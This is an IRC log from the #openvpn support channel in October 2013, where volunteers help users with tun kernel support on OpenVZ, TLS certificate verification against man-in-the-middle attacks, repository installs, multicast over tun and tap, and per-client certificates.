14:00 < Lope> Hi I'm trying to run a standard install on debian wheezy but getting some errors http://codepad.org/pWL0FSZx
14:00 <@vpnHelper> Title: Plain Text code - 22 lines - codepad (at codepad.org)
14:01 < Lope> the guide says I should run this on the server: "openvpn --dev tun1 --ifconfig 10.9.8.1 10.9.8.2" what are those two IPs?
14:01 < Lope> are they virtual LAN IPs?
14:01 <+pekster> They're 2 arbitrary PtP addresses, in this case inside RFC1918 space
14:02 <+pekster> You are apparently missing either tun support in your kernel (forget to load the module perhaps?) or don't have the device node created
14:02 < Lope> oh whats the name of the kernel module?
14:02 <+pekster> 'tun'
14:02 <+pekster> kernel option CONFIG_TUN
14:03 < Lope> thanks I'll get my VPS guy to add it
14:03 < Lope> are there any other kernel modules I need?
14:04 <+pekster> Not for openvpn
14:04 <+pekster> VPSes have other issues with netfilter modules. OpenVZ? That's not really an OS, but a glorified chroot. You don't have root, even if it "says" you do
14:04 <+pekster> Without CAP_SYS_ADMIN there's lots of stuff you can't do
14:05 <+pekster> There are some tips/tricks here, though I don't know how correct they are:
14:05 <+pekster> !openvz
14:05 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
14:05 <+pekster> (when the bot gets around to processing that..)
14:06 < Lope> Sorry my linux familiarity is quite fresh, only 2-3 months in. when you say 'netfilter modules' do you mean kernel modules?
14:06 <+pekster> Right
14:07 < Lope> are there specific netfilter modules I need?
14:07 <+pekster> Depends on your firewall needs
14:07 < Lope> my openVZ VPS doesn't even support modprobe or lsmod
14:07 < Lope> all I can do is ls /dev lol
14:07 <+pekster> Right; it's a chroot that they oversell to people looking for things "cheap"
14:08 < Lope> hmm, sounds about right. though I'm kind of moving over to doing stuff on EC2 now.
14:08 < Lope> so I might as well just use my EC2 for this.
14:08 <+pekster> It's fine for some things, but as soon as you start to deal with kernel needs and specific modules that a VPS might not support, things tend to get a bit ugly
14:08 < Lope> at least I won't have to grovel to my VPS host all the time.
14:08 <+pekster> Right
14:09 < Lope> also I hate hosting when I'm dependant on the host's configuration. if he decides to move me to another server all my stuff will break and I'll have to waste my time figuring out whats wrong... do you agree?
14:09 <+pekster> Quite possibly
14:09 < Lope> yeah
14:10 < Lope> it is VERY cheap though lol $1.25/month haha
14:10 <+pekster> It's cheap for a reason. The VPS industry is a "race to the bottom", and customers get every last bit of cheapness on the deal
14:10 < Lope> looks like he got my request and rebooted the box
14:11 < Lope> haha but its good for some things :)
14:11 < Lope> like a openVPN server...? :)
14:11 < Lope> sweet that was fast. he added it already!
14:11 <+pekster> Not in my opinion, but YMMV if it does what you want
14:12 < Lope> in what way do you think its lacking as an openVPN server?
14:13 < rob0> Did you read the page linked in the factoid?
14:14 <+pekster> besides module problems, there's issue with the virtual network device openvz exposes to nodes in one fo the 2 modes, and you may run into firewall problems depending on what you plan to do with this server (though that's more accurately a netfilter problem, not openvpn; this said, people usually run firewalls on VPN servers)
14:14 < Lope> okay I got a better result this time, but I got a warning that there's no encryption !?! http://codepad.org/WIX6TKXo
14:14 <@vpnHelper> Title: Plain Text code - 10 lines - codepad (at codepad.org)
14:14 <+pekster> You haven't added any encryption..
14:14 <+pekster> Maybe you want to try the openvpn howto:
14:14 <+pekster> !howto
14:14 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:15 -!- master_of_master [~master_of@p4FF24A0A.dip0.t-ipconnect.de] has joined #openvpn
14:15 < Lope> pekster: did you mean to say "on VPS servers" ?
14:16 < Lope> sorry I didn't read the openVZ link yet, will now.
14:16 <+pekster> Hopefully you firewall all your servers, but VPN in particular should be correctlly firewalled given that it's routing protected data
14:17 <+pekster> again, YMMV, but at this point your kernel's tun support is working; follow the howto to do something more useful than an unencrypted PtP link (for which you could have just used GRE instead)
14:18 -!- master_o1_master [~master_of@p4FD7B88F.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
14:18 < Lope> well, the openVPN data that I'll be routing doesn't need to be super protected, I'll still use whatever end to end encryption that I normally use.
14:19 < Lope> haha i definitely want encryption.
14:24 < Lope> okay, reading http://wiki.openvz.org/VPN_via_the_TUN/TAP_device ... i don't understand the section "Reaching hosts behing the VPN container" do they mean using the VPN to connect to nodes inside the network that the VPS is on?
14:24 <@vpnHelper> Title: VPN via the TUN/TAP device - OpenVZ Linux Containers Wiki (at wiki.openvz.org)
14:27 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 248 seconds]
14:29 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
14:29 <+pekster> Right, if you had a LAN downstream
14:31 < Lope> thanks. ok I'm following this guide, https://wiki.debian.org/OpenVPN I've successfully made the unencrypted connection (as far as I can tell) its showing up in my ifconfig. so what is the IP of the server (from my client's perspective) ?
14:31 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
14:32 < Lope> ah cool, it must be 10.9.8.1 judging by the ping times :)
14:32 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
14:38 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:54 < Lope> okay cool I've got the VPN set up and working! :)
14:55 < Lope> whats better a shared secret VPN or a TLS vpn?
14:55 < EugeneKay> "better" is subjective
14:56 < Lope> indeed.
14:56 < Lope> the problem with shared secret is if it is compromised once the traffic will forever be vulnerable.
14:56 < Lope> but TLS is open to man in the middle attacks.
14:56 < EugeneKay> Yup. But there's no recognizable header; great for bypassing protocol-aware firewalls
14:57 < Lope> hmm
14:57 <+pekster> How is TLS MITM vulnerable?
14:57 < EugeneKay> It isn't.
14:57 <+pekster> (yes, that was meant for Lope, who said it is ;)
14:57 < EugeneKay> Unless you're not doing any sort of --ca checking, which would be stupid
14:57 < EugeneKay> But hey..... people do dumb things
14:58 < Lope> http://en.wikipedia.org/wiki/Man-in-the-middle_attack
14:58 <@vpnHelper> Title: Man-in-the-middle attack - Wikipedia, the free encyclopedia (at en.wikipedia.org)
14:58 <+pekster> That or --remote-cert-tls
14:58 <+pekster> Lope: Yes, you're speaking to a room (partially) full of crypto and security experts: we _know_ what MITM is
14:58 < EugeneKay> Yes, that's why DH exchange is used
14:58 <+pekster> Lope: OpenVPN isn't vulnerable if used properly. Used improperly it's as bad a putting your house key under your doormat
14:59 <+pekster> More info on "proper" use:
14:59 <+pekster> !mitm
14:59 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
14:59 <+pekster> And even that "attack" is only valid if you are a 2nd client that is both evil and in the path of another client's traffic to the server and are able to modify the traffic (which in the real world isn't likely, but we protect against it anyway)
15:00 < Lope> according to this quote from RSA's site http://stackoverflow.com/questions/10471009/how-does-the-man-in-the-middle-attack-work-in-diffiehellman "The Diffie-Hellman key exchange is vulnerable to a man-in-the-middle attack."
15:01  * pekster sighs
15:01 <+pekster> WHich is why X.509 cert verification is done through openssl and verifies the complete trust chain
15:01 <+pekster> !pki
15:01 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
15:01 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
15:01 <+pekster> I also have my own document on crypto basics: https://www.pekster.net/staging/josh/easyrsa3/Intro-To-PKI.html
15:02 <+pekster> Go read those before you tell me that DH is insecure. By _itself_ yes, but openvpn obviously don't use an anonymous DH exchange
15:02 < Lope> okay I wasn't claiming anything. thats why I'm asking.
15:04 <+pekster> If you restrict TLS cipher=suites (via --tls-cipher) use one with a DHE mode of operation and you have forward-secrecy. Use a strong cipher-suite to prevent poor crypto from making it attackable (via a TLS cipher downgrade attack) and use the !mitm info to prevent an evil (but valid) client from actively compromising traffic
15:07 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:08 < Freeaqingme> is there any way to log traffic that is dropped because of a missing 'client-to-client' directive?
15:11 < Lope> so when using a TLS handshake and keypair, its impossible to do MTIM attack without the certificate authority's private key?
15:16 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
15:19 < Lope> ah i just read this again, the NSA MTIM attack was made out to be more than it is when reading this properly (just skimmed it the first time) http://www.techdirt.com/articles/20131004/10522324753/
15:19 <@vpnHelper> Title: How The NSA Pulls Off Man-In-The-Middle Attacks: With Help From The Telcos | Techdirt (at www.techdirt.com)
15:25 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Remote host closed the connection]
15:25 < Lope> there's a really good comment from DannyB on that page, which kind of throws the whole CA thing into question.
15:31 <@krzee> that has been public record for years, see https://eff.org/issues/nsa-spying
15:34 <@krzee> nevertheless, i am glad to see it getting more attention
15:35 < Lope> some good comments there, much of it is old news, like the secrets in gov and corruption, and shills.
15:57 -!- akurilin [~akurilin@208.185.21.146] has quit [Remote host closed the connection]
15:58 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
16:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:14 <@ecrist> krzee: it was announcing too much for IRC
16:14 <@ecrist> it was pretty non-stop
16:15 <@krzee> wow, cool :D
16:39 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:44 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
16:44 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
17:01 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
17:01 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 264 seconds]
17:08 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
17:36 -!- emid [~emid@192.241.162.156] has joined #openvpn
17:39 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
17:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
17:44 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:48 -!- trumee_ [~parul@185.11.39.191] has quit [Ping timeout: 245 seconds]
17:50 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
19:10 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 245 seconds]
19:15 -!- klein [~klein@177.101.110.171] has joined #openvpn
19:15 -!- klein [~klein@177.101.110.171] has quit [Changing host]
19:15 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:18 -!- klein [~klein@unaffiliated/klein] has quit [Remote host closed the connection]
19:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:56 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
20:01 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-jtrrruafvfahkvup] has joined #openvpn
20:02 -!- bantu_ [~quassel@phpbb/developer/bantu] has joined #openvpn
20:04 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
20:04 -!- uuuppz_ [uuuppz@78.129.207.46] has joined #openvpn
20:07 -!- bawki [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
20:07 -!- Laverne_ [~Laverne@devilsown.net] has joined #openvpn
20:07 -!- Olipro_ [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:08 -!- Netsplit *.net <-> *.split quits: cali, uuuppz, b00gz__, kenyon, Serano, aji, fred``, bogie, Laverne, bantu
20:08 -!- Netsplit *.net <-> *.split quits: Olipro
20:08 -!- Olipro_ is now known as Olipro
20:08 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Read error: Operation timed out]
20:09 -!- Netsplit over, joins: Serano
20:09 -!- b00gz___ is now known as b00gz__
20:09 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
20:10 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
20:11 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
20:16 -!- aji [~alex@atheme/member/aji] has joined #openvpn
20:16 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:55 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
20:59 -!- smue [smue@nostromo.smue.info] has joined #openvpn
21:22 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
21:24 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
21:25 -!- Lope [~Lope@41-135-64-33.dsl.mweb.co.za] has quit [Remote host closed the connection]
21:49 -!- JSharpe__ [~JSharpe@46.165.208.207] has quit [Ping timeout: 268 seconds]
22:02 -!- kubbing_ [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
22:03 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
22:08 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Ping timeout: 272 seconds]
22:22 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:32 -!- Butch128 [~butch@69-165-252-203.cable.teksavvy.com] has joined #openvpn
22:33 < Butch128> I'm having an OpenVPN/Linode configuration problem - it works, but when I enable redirect-gateway, I can only view my personal linode site, all other sites fail to resolve
22:33 < Butch128> any idea how to fix thi?
22:35 -!- Butch128 [~butch@69-165-252-203.cable.teksavvy.com] has quit [Client Quit]
22:44 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
22:45 -!- baobei [~baobei@180.154.164.77] has joined #openvpn
22:45 < baobei> hi
22:45 < baobei> any chance someone could google 'openvpn rpm' and post a link to the redhat one
22:45 < baobei> can't google that myself
22:46 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
22:46 < baobei> openvpn.net/index.php/open-source/downloads.html‎
22:47 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Remote host closed the connection]
22:58 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
23:08 <@krzee> !google openvpn rpm redhat
23:08 <@vpnHelper> Index of /openvpn - Of / [pkgs.repoforge.org]: <http://pkgs.repoforge.org/openvpn/>; RPM resource openvpn - Rpmfind.Net: <http://rpmfind.net/linux/rpm2html/search.php?query=openvpn>; RPM Search openvpn: <http://rpm.pbone.net/index.php3?stat=3&search=openvpn&srodzaj=3>
23:09 <@krzee> !repo
23:09 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
23:09 <@krzee> you probably want !repo
23:12 < baobei> thx
23:14 < baobei> there used to be a repo for redhat/centos
23:14 < baobei> then i would just do yum install openvpn on my centos box
23:16 < baobei> well anyway even without that, yum install openvpn will install openvpn 2.2.2-1 from rpmforge
23:16 < baobei> old version but i guess good enough
23:16 < baobei> snapshot openvpn repo, it was real simple
23:18 < baobei> found this wget http://repos.openvpn.net/repos/yum/conf/repos.openvpn.net-CentOS6-snapshots.repo
23:19 < baobei> that worked, thanks for the link
23:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:34 < baobei> almost done, i just forget what crts/keys need to be on the /openvpn dir
23:35 < baobei> on server side
23:38 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
23:38 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Remote host closed the connection]
23:38 < baobei> thank goodness
23:39 < baobei> back online
23:39 < baobei> china blocked my vpn again so had to get a new server
23:39 < baobei> happens from time to time
23:58 -!- kenyon_ is now known as kenyon
--- Day changed Sun Oct 27 2013
00:05 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
00:17 -!- ludde_ [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
00:18 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 240 seconds]
00:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 260 seconds]
01:21 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
01:52 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
02:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
02:09 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:44 -!- [fred] [fred@earthli.ng] has joined #openvpn
02:54 -!- baobei [~baobei@180.154.164.77] has quit [Quit: Leaving]
03:21 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
03:38 -!- fling [~fling@fsf/member/fling] has quit [Quit: leaving]
03:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:10 -!- vvinothkumar [~vinothkum@122.167.98.188] has joined #openvpn
04:11 -!- fling [~fling@fsf/member/fling] has joined #openvpn
04:14 -!- [fred] is now known as fred``
04:49 -!- trumee_ [~parul@185.11.39.191] has joined #openvpn
04:57 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
05:01 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
05:09 -!- crus [~crusader@2001:44b8:319e:2900:9428:f19f:5d60:bd4c] has quit [Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com )]
05:09 -!- trumee_ [~parul@185.11.39.191] has quit [Ping timeout: 252 seconds]
05:11 -!- trumee_ [~parul@185.11.37.157] has joined #openvpn
05:13 -!- crus [~crusader@2001:44b8:319e:2900:9428:f19f:5d60:bd4c] has joined #openvpn
05:19 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
05:21 -!- JSharpe_ [~JSharpe@46.165.220.207] has joined #openvpn
05:23 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
05:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:25 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
05:27 -!- JSharpe__ [~JSharpe@31.205.63.22] has joined #openvpn
05:28 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
05:28 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
05:28 -!- JSharpe_ [~JSharpe@46.165.220.207] has quit [Ping timeout: 245 seconds]
05:29 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
05:29 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Client Quit]
05:29 -!- JSharpe__ [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
05:33 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
05:33 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds]
05:35 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:36 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
05:36 -!- mode/#openvpn [+o dazo_afk] by ChanServ
05:36 -!- dazo_afk is now known as dazo
05:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
05:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:41 -!- JSharpe [~JSharpe@46.165.251.68] has joined #openvpn
06:09 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
06:17 -!- Bretos` is now known as Bretos
06:21 -!- JSharpe [~JSharpe@46.165.251.68] has quit [Read error: Operation timed out]
06:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
06:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:03 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Read error: Connection reset by peer]
07:03 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
07:08 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
07:10 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
07:11 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
07:15 -!- trumee_ [~parul@185.11.37.157] has quit [Ping timeout: 240 seconds]
07:17 -!- bantu_ is now known as bantu
07:22 -!- trumee_ [~parul@185.11.37.157] has joined #openvpn
07:36 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
07:38 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:44 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Read error: Connection reset by peer]
07:48 -!- AginLap_ [~AginLap@tsn85-159-237-3.dyn.nltelcom.net] has joined #openvpn
07:49 -!- AginLap [~AginLap@109.201.152.26] has quit [Ping timeout: 252 seconds]
07:59 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
08:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:28 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
08:54 -!- JSharpe [~JSharpe@46.165.221.13] has joined #openvpn
08:56 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:06 -!- yuanqi [~yuanqi@198-84-197-218.cpe.teksavvy.com] has joined #openvpn
09:07 < yuanqi> Just wondering, does OpenVPN support multicast on a routed network using tun?
09:13 < BtbN> iirc only in tap mode
09:14 <@plaisthos> and no igmp snooping or such
09:14 <@plaisthos> just multicast as broadcast
09:20 < yuanqi> BtbN: is it possible to have tap on one end and tun on the other?
09:21 < BtbN> no, how should that work? oO
09:21 < yuanqi> BtbN: I have no choice. The official iOS client only supports tun
09:21 < BtbN> then no multicast/broadcast for iOS
09:22 < yuanqi> Also I just found this message on the mailing list: http://openvpn.net/archive/openvpn-devel/2004-04/msg00032.html
09:22 <@vpnHelper> Title: Re: [Openvpn-devel] Multicast over TAP w/ OpenVPN 2.0 (at openvpn.net)
09:22 < BtbN> a message from 2004...
09:22 < yuanqi> Use a tun interface in OpenVPN 2.0 in multiclient mode.  This will treat multicast like broadcast”
09:23 < yuanqi> Does that mean tun will allow multicast if I set mode server?
09:24 < BtbN> tun mode operates on IP layer, multicast and broadcast on a lower level
09:24 < yuanqi> I thought multicast also work over layer 3
09:25 < BtbN> multicast generates special mac addresses from the multicast ip address
09:28 < yuanqi> Then what is this multicast routing that I keep reading about?
09:28 < BtbN> Routing of multicast traffic
09:29 < yuanqi> I am assuming this is operating over layer 3...
09:31 < BtbN> partialy...
09:31 < BtbN> switches also need to support multicast for it to work
09:32 < yuanqi> Well, I guess I'd better give up on trying to make Avahi reflector work over OpenVPN
09:32 < BtbN> without support by the switch, multicast only get broadcasted
09:33 < BtbN> works fine via tap
09:33 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
09:34 < yuanqi> BtbN: does that mean multicast sent through tun will still get broadcasted over the client network?
09:35 < BtbN> as the multicast mac address is lost, i wouldn't expect it to work at all
09:36 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
09:37 < yuanqi> Guess I will have the jailbreak until Apple decides to add tap support to its VPN framework
09:37 -!- yuanqi [~yuanqi@198-84-197-218.cpe.teksavvy.com] has quit []
10:02 -!- JSharpe [~JSharpe@46.165.221.13] has quit [Ping timeout: 272 seconds]
10:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:49 -!- vvinothkumar [~vinothkum@122.167.98.188] has quit [Ping timeout: 272 seconds]
10:53 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
10:53 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
10:56 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
11:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
11:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:28 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
11:28 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:29 -!- js_ [~js@js.madepeople.se] has joined #openvpn
11:29 < js_> how can i handle thousands of clients and their certificates?
11:29 <@krzee> with many servers
11:29 <@krzee> not sure why you bring up their certs
11:30 <@krzee> if you simply mean making / packaging them? script it!
11:30 < js_> so the way is to use one generated certificate per client?
11:30 <@krzee> correct
11:30 <@krzee> !pki
11:30 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
11:30 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
11:31 < js_> krzee: there is no other way, such as one cert for all clients?
11:31 < js_> the point of the vpn in this case is not to gain security
11:31 <@krzee> !dupe
11:31 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
11:32 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
11:33 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
11:42 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
11:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:44 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:46 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Connection reset by peer]
12:19 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:30 < js_> do i need to restart or reload openvpn when adding/changing something in the ccd dir?
12:32 <@krzee> nope
12:33 <@krzee> ccd entries are read upon client connection
12:33 <@krzee> if you change the actual server config then yes
12:33 < js_> cool, thanks
12:33 <@krzee> np
12:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:56 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has joined #openvpn
12:56 < joker_89> hi
12:57 < joker_89> how can i do this connection: throught my laptop see the "free network" that i can only access throught my house: http://oi42.tinypic.com/53u00g.jpg
12:57 -!- kryl [~kryl@197.247.72.239] has joined #openvpn
12:57 < kryl> hi, I have a problem of conflict when I use openvpn on a ppp (3g) default connection.
12:57 < kryl> What can I do to solve this problem ?
13:07 -!- kryl [~kryl@197.247.72.239] has quit [Ping timeout: 245 seconds]
13:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
13:20 -!- Devastator [~devas@177.18.197.123] has joined #openvpn
13:23 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:24 -!- kryl [~kryl@197.247.35.150] has joined #openvpn
13:26 -!- kasper2 [~ircap@200.Red-2-138-39.dynamicIP.rima-tde.net] has joined #openvpn
13:26 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has quit [Read error: Connection reset by peer]
13:26 -!- kasper2 is now known as joker_89
13:27 -!- nongeek [~mohsen@185.13.229.30] has joined #openvpn
13:27  * nongeek hello all
13:27 < nongeek> How are you?
13:27 < nongeek> I want to configure ipsec, in apsec.secret file I see "your_pre_shared_key" , What is it?
13:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:35 -!- Devastator [~devas@177.18.197.123] has quit [Changing host]
13:35 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:35 -!- kryl [~kryl@197.247.35.150] has quit [Quit: Leaving]
13:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:44 -!- nongeek [~mohsen@185.13.229.30] has left #openvpn []
13:45 <@krzee> heh
13:53 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Quit: Quit]
13:55 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
14:01 < joker_89> anyone?
14:15 -!- master_o1_master [~master_of@p4FF24A44.dip0.t-ipconnect.de] has joined #openvpn
14:16 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
